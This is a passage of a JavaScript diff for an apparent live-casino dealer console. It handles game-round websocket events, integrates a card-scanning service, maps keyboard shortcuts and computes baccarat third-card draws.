+ case 11: + scanPosition = 2; + break; + case 12: + scanPosition = 3; + break; + case 21: + scanPosition = 4; + break; + case 22: + scanPosition = 5; + break; + case 13: + scanPosition = 6; + break; + case 23: + initScanParams(); + break; + } + if (scanPosition == 5) { + var info = isBopai(card_info); + if (info['is_bopai'] && info['player_3'] == 1) { + scanPosition = 5; + } else if (info['is_bopai'] && info['banker_3'] == 1) { + scanPosition = 6; + } + } +/* + if (scanPosition == 5 || scanPosition == 6) { + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":scanPosition, 'type': 'SYS', "biz": number_tab_id}); + } +*/ + // + } + }else if(game_id==4||game_id==5){ + if(data.round.position == 0){ + flop_position(data); + }else{ + // 识别相关 + if (scanner_type == 2 && game_id == 4) { + if (data.round.position == 20) { + scanPosition = 21; + scanDefaultPosition = 'P1'; + clearInterval(scanTask); + scanTask = null; + + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + isCardScaned = true; + } else { + var _position = data.round.position; + + switch (scanDefaultPosition) { + case 'P2': + if (_position < 15) { + scanPosition = _position + 6; + } else { + scanPosition = _position - 14; + } + break; + case 'P3': + if (_position < 10) { + scanPosition = _position + 11; + } else { + scanPosition = _position - 9; + } + break; + case 'B': + if (_position < 5) { + scanPosition = _position + 16; + } else { + scanPosition = _position -4; + } + break; + default: + scanPosition = _position + 1; + } + + if (scanPosition > 20) { + scanPosition = 1; + } + } + } + // + flop_card(data); + } + } + } + /*else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + }*/ +}); +websocket.on('resetNumberTab',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard").fadeOut(); + + $(".table-info .nobegin-tip").fadeIn(); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html("") + $(".list .card .face").css("background-image","") + $(".begincard .list .draw .rotate").css("display",'none'); + }); + card_info=[]; + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('changeBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startBetCountDown',function(data){ + if(data.status == true && data.table_id == table_id){ + countDown(data.count_down); + } +}); +websocket.on('endBet',function(data){ + if(data.status === true && data.table_id == table_id){ + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + if(game_id == 6){ + $('#toning_result').val(''); + $(".toning-result-num").removeClass("active"); + } + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + + // 识别相关 + if (scanner_type == 2 && game_id == 1) { + //doScanCards(); + + //sbSocket.emit('start', {'tableCode': casinoTableId, 'type': 'SYS', 'biz': number_tab_id}); + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":1, 'type': 'SYS', "biz": number_tab_id}); // "index": scanPosition + //sbSocket.emit("scanAllCards",{"tableCode":casinoTableId, "from":1, "count":4, "isEmptyAllowed":"Yes", 'type': 'SYS', "biz": number_tab_id}); + + } else if (scanner_type == 2 && game_id == 2) { + doDtScanCards(); + } else if (scanner_type == 2 && game_id == 4) { + doNnScanPositionCard(); + doNnScanCards(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingBaccarat',function(data){ + if(data.status === true && data.table_id == table_id){ + showPng(data.round.opening,data.round.pair); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + sbCardsInfo = [[], [], [], [], [], []]; + //sbSocket.emit("stopData",{"tableCode":casinoTableId, "type":"SYS"}); + sbSocket.emit("stop",{"tableCode":casinoTableId, "type":"SYS"}); + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDt',function(data){ + if(data.status === true && data.table_id == table_id){ + showPngDt(data.round.opening); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingNn',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingTc',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingToning',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#toning_result').val(""); + $('.toning-result-num').removeClass("active"); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideToningBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDice',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#dice_result').val(""); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideDiceBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +//事件返回********************************************************************************************************************* + +// 识别Socket +var sbSocket = io(localSbServer,{transports: ['websocket']}); +sbSocket.on('reconnecting', (timeout) => { + //触发重连 + layer.msg('服务断开,正在重新连接...', { + icon: 16, + shade: 0.6, + time:0, + }); +}); + +sbSocket.on('reconnect', (timeout) => { + //重连成功 + layer.closeAll(); + layer.msg('服务重新连接成功'); +}); + +// 加入识别服务 +sbSocket.on('joinEvent', function(data) { + if (data.code == 200 && data.type == 'SYS' && data.tableCode == casinoTableId) { + //layer.msg('Connect SB Server Success'); + } else { + layer.msg('Connect Faild. Please double check the sb server'); + } +}); + +// 启动识别响应事件 +sbSocket.on('startEvent', function(data) { + // 200: 启动成功 + // 500: 设备离线 + // 501: 参数错误 + if (data.code != 200) { + layer.msg(data.msg); + } + +}); + +// 停止识别响应事件 +sbSocket.on('stopEvent', function(data) { + // 200: 停止成功 + // 500: 设备离线 + // 501: 参数错误 + if (data.code != 200) { + layer.msg(data.msg); + } +}); + +var sbCardsInfo = [[], [], [], [], [], []]; +var CONFIRM_TIMES = 1; + +//CardsInfo[0]['card'] = ''; +//sbCardsInfo[0]['tims'] = 0; + +// 数据接收事件 +sbSocket.on('dataEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId && data.biz != undefined && data.biz == number_tab_id) { + data.data.forEach(function(value, index) { + if (value.card != 'None' && value.card != '') { + var query = new Object(); + query.card = cardToServer(value.card); + if (query.card != 'None') { + if (!('card' in sbCardsInfo[index]) || !('time' in sbCardsInfo[index])) { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } else { + if (sbCardsInfo[index]['card'] == query.card && sbCardsInfo[index]['time'] >= CONFIRM_TIMES) { + if (index < 4) { + query.position = position[value.index - 1]; + sendScanBaccarat(query); + } else { + var info = isBopai(card_info); + if (index == 4) { + if (info['is_bopai'] && info['player_3'] == 1) { + query.position = position[4]; + sendScanBaccarat(query); + } + } else { + if (info['is_bopai'] && info['banker_3'] == 1) { + //if (info['player_3'] == 1) { + if (card_info.length > 4) { + query.position = position[5]; + } else { + query.position = position[4]; + } + sendScanBaccarat(query); + } + } + } + } else { + if (sbCardsInfo[index]['card'] == query.card) { + sbCardsInfo[index]['time']++; + } else { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } + } + + } + + } + + } + + }); + } +}); + +// 收到指定下标数据 +sbSocket.on('dataWithIndexEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId && data.biz != undefined && data.biz == number_tab_id) { + var query = new Object(); + query.card = cardToServer(data.data['card']); + + // For Confirm -------------------------------------------------------------------- + if (query.card != 'None') { + var index = data.data['index'] - 1; + + if (!('card' in sbCardsInfo[index]) || !('time' in sbCardsInfo[index])) { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } else { + if (sbCardsInfo[index]['card'] == query.card && sbCardsInfo[index]['time'] >= CONFIRM_TIMES) { + + if (index < 4) { + query.position = position[index]; + sendScanBaccarat(query); + } else { + var info = isBopai(card_info); + if (index == 4) { + if (info['is_bopai'] && info['player_3'] == 1) { + query.position = position[4]; + sendScanBaccarat(query); + } + } else { + if (info['is_bopai'] && info['banker_3'] == 1) { + //if (info['player_3'] == 1) { + if (card_info.length > 4) { + query.position = position[5]; + } else { + query.position = position[4]; + } + sendScanBaccarat(query); + } + } + } + + } else { + if (sbCardsInfo[index]['card'] == query.card) { + sbCardsInfo[index]['time']++; + } else { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } + } + + } + + } /*else { + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":scanPosition, 'type': 'SYS', "biz": number_tab_id}); + }*/ + // For Confirm --------------------------------------------------------------------------------- + sbSocket.emit("scanCardWithIndex",{"tableCode": casinoTableId, "index":scanPosition, 'type': 'SYS', "biz": number_tab_id}); + } +}); + + +// 收到范围下标数据 +sbSocket.on('dataWithAllCardsEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId && data.biz != undefined && data.biz == number_tab_id) { + data.data.forEach(function(value, index) { + if (value.card != 'None' && value.card != '') { + var query = new Object(); + query.card = cardToServer(value.card); + if (query.card != 'None') { + if (!('card' in sbCardsInfo[index]) || !('time' in sbCardsInfo[index])) { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } else { + if (sbCardsInfo[index]['card'] == query.card && sbCardsInfo[index]['time'] >= CONFIRM_TIMES) { + if (index < 4) { + query.position = position[value.index - 1]; + sendScanBaccarat(query); + } else { + var info = isBopai(card_info); + if (index == 4) { + if (info['is_bopai'] && info['player_3'] == 1) { + query.position = position[4]; + sendScanBaccarat(query); + } + } else { + if (info['is_bopai'] && info['banker_3'] == 1) { + //if (info['player_3'] == 1) { + if (card_info.length > 4) { + query.position = position[5]; + } else { + query.position = position[4]; + } + sendScanBaccarat(query); + } + } + } + } else { + if (sbCardsInfo[index]['card'] == query.card) { + sbCardsInfo[index]['time']++; + } else { + sbCardsInfo[index]['card'] = query.card; + sbCardsInfo[index]['time'] = 1; + } + } + + } + + } + + } + + }); + } +}); +/* +// 数据接收事件 +sbSocket.on('dataWithAllCardsEvent', function(data) { + // tableType == 'ONE', 单张识别 + // count: 画框数,6 + // tableCode: casinoTableId + if (data.tableType == 'ONE' && data.tableCode == casinoTableId) { + data.data.forEach(function(value) { + if (value.card != 'None') { + var query = new Object(); + query.card = cardToServer(value.card); + query.position = position[value.index - 1]; + sendScanBaccarat(query); + } + + }); + } +}); +*/ + + +sbSocket.emit('join', { 'tableCode':casinoTableId, 'type':'SYS'}); + + + +//启动执行 +$(function(){ + getLang(); + //视频处理 + $("#video-iframe").attr("src",player+'?url='+flvUrl); + $(document).keydown(function (e){ + if(e.keyCode == 13){ + + var cookieValue = $.cookie("enter_time"); + if(!cookieValue){ + $.cookie("enter_time", 1, { expires: 1/86400*3 }); + }else{ + layer.msg('Please hold on'); + return false + } + + if(isCBoot == true){ + $('.layui-layer-btn0').click(); + isCBoot = false; + }else{ + //var keycode = $('#keycode').val(); + var numberTabStatus = $('#number_tab_status').val(); + //if(keycode == '6'){ + if (numberTabStatus == 0) { + if(!isopentime){ + var is_rob = $('#is_rob').val(); + if(is_rob == 1){ + startRob(); + }else{ + startBet(); + } + $('#keycode').val(''); + }else{ + layer.msg("请稍等!"); + } + }else if (numberTabStatus == 2) { + opening(); + } + } + } + //开局 + if(e.keyCode == 111){ + $('#keycode').val('6'); + } + //修改当前状态 + if(e.keyCode == 109){ + $('#update_ludan').toggle(); + } + //换靴 + if(e.keyCode == 107){ + changeBoot(); + $('#keycode').val(''); + } + //退出登录 + if(e.keyCode == 106){ + if(table_type == 1){ + cutout(); + $('#keycode').val(''); + }else{ + if(bet_type == 2){ + cutout(); + $('#keycode').val(''); + }else{ + loginout(); + $('#keycode').val(''); + } + } + } + //取消 + if(e.keyCode == 110){ + $('.layui-layer-btn1').click(); + } + // 停止倒计时 + if(e.keyCode == 96){ + if(game_id == 5 || game_id == 4){ + var number_rob_status=$("#number_rob_status").val(); + var number_tab_status=$("#number_tab_status").val(); + if((number_rob_status==1&&number_tab_status==0)||(number_rob_status==2&&number_tab_status==0)){ + endRob(); + }else{ + endBet(); + } + }else{ + endBet(); + } + } + if(game_id == 6){ + if (e.keyCode == 96 || e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100){ + var result_num = -1; + switch (e.keyCode){ + case 96: + result_num = 0; + break; + case 97: + result_num = 1; + break; + case 98: + result_num = 2; + break; + case 99: + result_num = 3; + break; + case 100: + result_num = 4; + break; + } + if(result_num >= 0){ + $('#toning_result').val(result_num); + $(".toning-result-" + result_num).addClass("active").siblings().removeClass("active"); + } + } + } + // 骰宝结果选择 + if (game_id == 7){ + console.log(e.keyCode); + if (e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100 || e.keyCode == 101 || e.keyCode == 102){ + var num = 0; + switch (e.keyCode){ + case 97: + num = 1; + break; + case 98: + num = 2; + break; + case 99: + num = 3; + break; + case 100: + num = 4; + break; + case 101: + num = 5; + break; + case 102: + num = 6; + break; + } + if (num > 0){ + var resultString = $('#dice_result').val(); + var resultArray = []; + if (resultString != ''){ + resultArray = resultString.split(","); + } + if (resultArray.length < 3){ + resultArray.push(num); + if (resultArray.length == 1){ + $('#dice_item_1 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 2) { + $('#dice_item_2 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 3){ + $('#dice_item_3 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } + $('#dice_result').val(resultArray.join(",")); + } + } + } else if (e.keyCode == 109){ + $('#dice_result').val(''); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + } + } + }) + $(window).resize(function(){ + requestData(ludan); + }) + audio.addEventListener("ended", nextAudio); + getTime(); + // 日期 + setInterval(function(){ + getTime(); + }, 1000); + // 侧栏控台 + $(".control-box").hover(function(){ + $(".control-box").stop().animate({right:"0"}) + },function(){ + $(".control-box").stop().animate({right:"-410px"}) + }) + // 多语言切换 + $('#language').change(function(){ + var language = $('#language').val(); + if(language == "cn" || language == "tw" || language == "en"){ + $.get("/index/lang?lang="+language,function(data){ + location.reload(); + }) + } + }); + $("#confirm_update_ludan").click(function (){ + retreated(); + }); + $("#cancel_update_ludan").click(function (){ + $('#update_ludan').hide(); + }); + // 色碟方法 + $('.toning-result-num').click(function () { + $('#toning_result').val(parseInt($(this).html())); + $(this).addClass("active").siblings().removeClass("active"); + }) + + // 牛牛识别 + if (scanner_type == 2) { + $('.begincard .card').find(".face").on('click', function() { + openAllCardsPanel(this); + }); + } + +}) +function loginout(){ + isCBoot = true; + layer.confirm(lang.is_to_logout,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + window.location.href='/login/logout'; + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); +}; +function showPng(opening, pair){ + if(opening == 1 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/banker.png'); + mp3List = ['banker_win.mp3']; + } + if(opening == 1 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/banker_bpair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3']; + } + if(opening == 1 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/banker_ppair.png'); + mp3List = ['banker_win.mp3','player_pair.mp3']; + } + if(opening == 1 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/banker_bpair_ppair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/player.png'); + mp3List = ['player_win.mp3']; + + } + if(opening == 2 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/player_bpair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3']; + } + if(opening == 2 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/player_ppair.png'); + mp3List = ['player_win.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/player_bpair_ppair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/tie.png'); + mp3List = ['tie.mp3']; + } + if(opening == 3 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/tie_bpair.png'); + mp3List = ['tie.mp3','banker_pair.mp3']; + } + if(opening == 3 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/tie_ppair.png'); + mp3List = ['tie.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/tie_bpair_ppair.png'); + mp3List = ['tie.mp3','banker_pair.mp3','player_pair.mp3']; + } + audioMp3(mp3List).Play(); +} + +function showPngDt (opening){ + if(opening == 1) { + $('#openingPng').attr('src','/static/handle/img/dragon_win.png'); + mp3List = ['dragon_win.mp3']; + } + if(opening == 2) { + $('#openingPng').attr('src','/static/handle/img/tiger_win.png'); + mp3List = ['tiger_win.mp3']; + } + if(opening == 3) { + $('#openingPng').attr('src','/static/handle/img/tie.png'); + mp3List = ['tie.mp3']; + } + audioMp3(mp3List).Play(); +} + +function gameResult(data){ + var result_imgsrc='',Result=''; + switch(true){ + case data.round.opening==1:// 庄 + Result='banker'; + $(".begincard .card-box .banker-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==2:// 闲 + Result='player'; + $(".begincard .card-box .player-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==3:// 和 + Result='tie' + break; + } + if(data.round.pair==1){ + result_imgsrc=Result+'_bpair' + }else if(data.round.pair==2){ + result_imgsrc=Result+'_ppair' + }else if(data.round.pair==3){ + result_imgsrc=Result+'_bpair_ppair' + }else{ + result_imgsrc=Result + } + var src='/static/result_img/'+result_imgsrc+'.png' + $(".begincard .player-card .draw .text ").html(lang.player_all+' '+data.round.player+' '+lang.point) + $(".begincard .banker-card .draw .text ").html(lang.banker_all+' '+data.round.banker+' '+lang.point); + $('#openingElement').show(); + $('#openingElement').addClass("blink"); + isopentime=true; + setTimeout(function(){ + + $('#openingElement').removeClass("blink"); + $('#openingElement').hide(); + },3000) + // 清除状态 + card_info=[];///清除牌数据 + setTimeout(function(){ + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard .card-box .list").removeClass("win"); + $(".begincard").fadeOut(function(){ isopentime=false;}); + $(".begincard .list .draw .text").css("text-align","center") + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html(""); + $(".begincard .box .list .card").find(".face").css("background-image","url('/static/handle/img/faces.png')") + $(".begincard .box .list .draw .card").find(".face").css("background-image","url('/static/handle/img/faces1.png')") + $(".begincard .list .draw .rotate").css("display",'none') + $(".table-info .nobegin-tip").fadeIn(); + + }) + },5000) +} +function gameResultNn(data){ + isWin.win_player_1=data.round.win_player_1; + isWin.win_player_2=data.round.win_player_2; + isWin.win_player_3=data.round.win_player_3; + var newmp3List=[]; + if(data.round.win_player_1==1){ + newmp3List.push('nn_X1.wav'); + isWin.text.push("P1"); + $(".begincard .box2").addClass("win"); + } + if(data.round.win_player_2==1){ + newmp3List.push('nn_X2.wav'); + isWin.text.push("P2"); + $(".begincard .box3").addClass("win"); + } + if(data.round.win_player_3==1){ + newmp3List.push('nn_X3.wav'); + isWin.text.push("P3"); + $(".begincard .box4").addClass("win"); + } + if(data.round.win_player_1==0&&data.round.win_player_2==0&&data.round.win_player_3==0){ + newmp3List.push('nn_Zwin.wav'); + isWin.text.push("B"); + $(".begincard .box1").addClass("win"); + } + var str=isWin.text.length==0?'Banker':isWin.text.join('、')+" Win"; + $(".begincard .win-tip").html(str); + $(".begincard .win-tip").addClass("show"); + let mp3List = newmp3List; + audioMp3(mp3List).Play(); + + isopentime=true; + + setTimeout(function(){ + $(".begincard .win-tip").removeClass("show");isWin.text=[]; + },3000); + setTimeout(function(){ + $(".begincard").fadeOut(function(){ + isopentime=false; + $(".begincard .box").animate({"opacity":"0"}); + $(".begincard .box1").animate({"top":"100%","opacity":"0"}); + $(".begincard .box2").animate({"top":"100%","opacity":"0"}); + $(".begincard .box3").animate({"top":"100%","opacity":"0"}); + $(".begincard .box4").animate({"top":"100%","opacity":"0"}); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + //清空牌数据 + $(".begincard div").removeClass("win"); + $(".list .card .face").css("background-image",""); + }); + },5000); +} +//获取当前语言包 +function getLang(){ + $.ajax({ + url:"/index/get_lang", + type:"POST", + dataType:"JSON", + async:false, + success:function(data){ + if(data.status === 1){ + lang = data.lang; + } + } + }) +} +//倒计时 +function countDown(time) { + $(".countdown .num").html(time) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + if(time == 10){ + mp3List = ['time_tip_10.mp3']; + audioMp3(mp3List).Play(); + } + if(time < 9 && time > 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + return; + } +} +//播放声音 +function audioMp3(mp3List){ + var mp3=new Object(); + mp3.mp3List=mp3List; + mp3.url="/static/handle/mp3/"; + mp3.auto_play=false; + mp3.loop=false; + mp3.Play=function(){ + audio.src=this.url+this.mp3List[0]; + audio.play(); + } + mp3.Muted=function(){ + audio.muted ? audio.muted = false : audio.muted = true; + } + mp3.volumeAdd=function(){ + if(audio.volume.toFixed(1)>=1){ + audio.volume=1 + }else{ + audio.volume = audio.volume + 0.1; + } + } + mp3.volumeMinus=function(){ + if(audio.volume.toFixed(1)<=0){ + audio.volume=0 + }else{ + audio.volume = audio.volume - 0.1; + } + } + return mp3; +} +//显示牌面 +var showCard = function(showCard){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }); + $.each(showCard,function(i,v){ + if(v.number!=false){ + var _thisdata={"status":true,round:v} + Flop(_thisdata); + } + }) +} +//是否显示补牌 +function isShowSupport(isSupport){ + if(isSupport.is_bopai){ + if(isSupport.player_3 == 1){ + $('.begincard .player-card .draw .rotate').css("display","inline-block") + } + if(isSupport.banker_3 == 1){ + $('.begincard .banker-card .draw .rotate').css("display","inline-block") + } + } else { + if (card_info.length <= 4) { + $('.begincard .player-card .draw .rotate').css("display","none"); + } + + } +} +function Flop(data){ + var whichpoker='',pokerindex='',pokercard=''; + if(data.status==true){ + var which = data.round.position; + if(game_id == 1){ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=1; + card_info["player_2"]=data.round.number; + break; + case 12: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 13: + whichpoker='player-card'; + pokerindex=2; + card_info["player_3"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=1; + card_info["banker_2"]=data.round.number; + break; + case 22: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + case 23: + whichpoker='banker-card'; + card_info["banker_3"]=data.round.number; + pokerindex=2; + break; + } + }else{ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + } + } + + if(game_id==1){ + let support = isBopai(card_info); + isShowSupport(support); + } + pokercard = data.round.card; + var $poker = $('.begincard '+'.'+ whichpoker+' .card'); + var pokersrc="/static/handle/faces/"+pokercard+".svg"; + if(pokercard<200){ + var color="#000" + }else if(pokercard<300){ + var color="#f13b3d" + }else if(pokercard<400){ + var color="#000" + }else if(pokercard<500){ + var color="#f13b3d" + } + if(data.round.number == 1){ + data.round.number = "A"; + } + if(data.round.number == 11){ + data.round.number = "J"; + } + if(data.round.number == 12){ + data.round.number = "Q"; + } + if(data.round.number == 13){ + data.round.number = "K"; + } + $poker.eq(pokerindex).find(".topleft").html(data.round.number); + $poker.eq(pokerindex).find(".bottomright").html(data.round.number); + $poker.eq(pokerindex).find(".topleft").css("color",color); + $poker.eq(pokerindex).find(".bottomright").css("color",color); + + if(pokerindex==2){ + $('.begincard '+'.'+ whichpoker +' .draw .rotate').css("display","inline-block"); + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + $(".begincard .banker-card .draw .text").css("text-align","left"); + $(".begincard .player-card .draw .text").css("text-align","right"); + }else{ + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + } + } +} +//百家乐判断是否要博牌 +function isBopai(card_info){ + card_info["length"]=0; + for( var i in card_info) { card_info["length"]++; } + var bopai_info = Array(3); + if(card_info.length<4){ + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + card_info=[]; + return bopai_info; + } + else { + if (card_info['banker_1'] > 10) { + card_info['banker_1'] = 10; + } + if (card_info['banker_2'] > 10) { + card_info['banker_2'] = 10; + } + if (card_info['banker_3'] > 10) { + card_info['banker_3'] = 10; + } + if (card_info['player_1'] > 10) { + card_info['player_1'] = 10; + } + if (card_info['player_2'] > 10) { + card_info['player_2'] = 10; + } + if (card_info['player_3'] > 10) { + card_info['player_3'] = 10; + } + var card_length = card_info.length; + var banker_result = (card_info['banker_1'] + card_info['banker_2']) % 10; + var player_result = (card_info['player_1'] + card_info['player_2']) % 10; + if (card_length == 4) { + if (player_result == 8 || player_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + else if (banker_result == 8 || banker_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + else if (player_result == 0 || player_result == 1 || player_result == 2 || player_result == 3 || player_result == 4 || player_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 1; + + } + else if (banker_result == 0 || banker_result == 1 || banker_result == 2 || banker_result == 3 || banker_result == 4 || banker_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (player_result == 6 || player_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; 